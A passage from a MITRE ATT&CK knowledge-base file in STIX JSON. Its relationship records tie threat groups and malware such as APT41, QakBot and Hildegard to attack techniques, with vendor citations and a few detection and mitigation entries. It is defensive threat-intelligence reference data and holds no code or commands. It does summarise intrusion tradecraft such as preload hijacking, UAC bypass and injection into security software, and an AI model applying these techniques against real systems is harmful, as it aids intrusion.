BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a607e33-3970-4605-af5e-36be82bd142a","type":"relationship","created":"2021-04-07T18:07:47.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.871Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has modified /etc/ld.so.preload to intercept shared library import functions.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.263Z","description":"[Turla](https://attack.mitre.org/groups/G0010) used net use commands to connect to lateral systems within a network.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4a633d63-4651-4b40-b118-91d1e779247c","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.","modified":"2022-04-19T23:50:08.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a636b51-f43a-4ae0-add4-59ba2edf679f","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Collect events related to Registry key modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}]},{"type":"relationship","id":"relationship--4a6869c9-4261-44ca-83e0-b87e047af6b9","created":"2022-12-09T21:23:30.364Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-09T21:23:30.364Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) deployed JScript web shells through the creation of malicious ViewState objects.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a687e50-e6b7-41df-93b1-6fed7db10f60","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.540Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--1d808f62-cf63-4063-9727-ff6132514c22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4a69be0a-65c1-4236-bb97-a6a37237ba34","created":"2022-04-19T19:30:51.106Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to processes that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Analyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","modified":"2022-04-19T19:30:51.106Z","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a6c44ec-a1de-4fbc-88ef-d3003137a2fc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"},{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2020-03-17T00:05:25.628Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used HTTP for C2 communications. [APT19](https://attack.mitre.org/groups/G0073) also used an HTTP malware variant to communicate over HTTP for C2.(Citation: FireEye APT19)(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a73a308-45aa-4dcd-9253-c15a065fac84","type":"relationship","created":"2020-01-14T17:18:32.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T17:18:32.236Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a759577-622f-4ef0-bff1-ef047aa5a687","created":"2023-02-16T19:19:47.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T20:46:27.699Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has been delivered in ZIP files via HTML smuggling.(Citation: Trend Micro Black Basta October 2022)(Citation: Deep Instinct Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a79cc78-872f-49f0-80c5-20f1b2dcd9f2","type":"relationship","created":"2021-05-26T13:58:43.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-10-15T21:25:01.578Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can encrypt strings with XOR-based routines and use a custom AES storage format for plugins, configuration, C2 domains, and harvested data.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a7a38c4-fb6d-420e-ac37-0c774c7b3a9f","type":"relationship","created":"2020-11-19T17:07:09.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.510Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has collected the username from a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a8098a6-da49-4a36-805b-acce98efa827","created":"2022-12-19T16:34:08.177Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-19T16:34:08.177Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the DUSTPAN loader to decrypt embedded payloads.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a851ebf-c021-4ab1-a02f-84b03d65fdda","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.100Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a8f7699-3bcd-4586-b029-f43756681805","type":"relationship","created":"2019-06-04T14:12:42.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ScarCruft May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2019-09-09T19:12:32.839Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.(Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a942244-9b88-43d0-9a1c-c0277e7903e8","type":"relationship","created":"2021-01-19T21:06:07.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:23:23.380Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) was installed under names that resembled legitimate Windows file and directory names.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a959425-4d43-4969-9a47-768894a3afaa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.461Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute ver and systeminfo commands.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a96d822-28cc-4820-8fb0-d7a049547bc9","type":"relationship","created":"2020-02-05T20:08:34.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T20:08:34.091Z","relationship_type":"revoked-by","source_ref":"attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a98aeee-5b53-43ca-a75a-5839792756d7","created":"2022-09-29T16:54:52.404Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:54:52.404Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors relied on users to enable macros within a malicious Microsoft Word document.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a990ccb-7004-43b8-9328-37668e1a3b6d","type":"relationship","created":"2020-06-25T19:12:25.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-06-25T19:12:25.014Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) uses JavaScript to get the system time.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"},{"url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","source_name":"Kaspersky Flame Functionality"}],"modified":"2019-06-06T14:35:54.012Z","description":"[Flame](https://attack.mitre.org/software/S0143) identifies security software such as antivirus through the Security module.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4aa3b66d-f312-4f1f-912a-b7b1762f9d82","type":"relationship","created":"2021-02-22T20:10:49.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:10:49.977Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can use thread injection to inject shellcode into the process of security software.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4aa62b6b-7441-4ece-9cb0-2a5bcb46f966","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.619Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4aa81ed2-b2d8-490f-a0b4-e0d2e5772acc","created":"2024-03-01T17:19:42.596Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:19:42.596Z","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4aa86179-d9e9-43dd-b2a2-75e77a832150","type":"relationship","created":"2020-05-01T13:57:23.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-05-01T13:57:23.349Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.(Citation: FireEye APT41 March 2020) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4aaa3063-d1b0-4c13-aa6d-829000f05aec","type":"relationship","created":"2020-11-10T19:09:21.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:09:21.480Z","description":"[Javali](https://attack.mitre.org/software/S0528) has achieved execution through victims clicking links to malicious websites.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ab2b092-a8c3-4728-9d3d-806c1ddb4796","type":"relationship","created":"2020-03-27T21:50:26.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:50:26.220Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ab6ada3-0129-4f34-ba29-b793c6d98fff","type":"relationship","created":"2019-01-30T17:33:41.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e4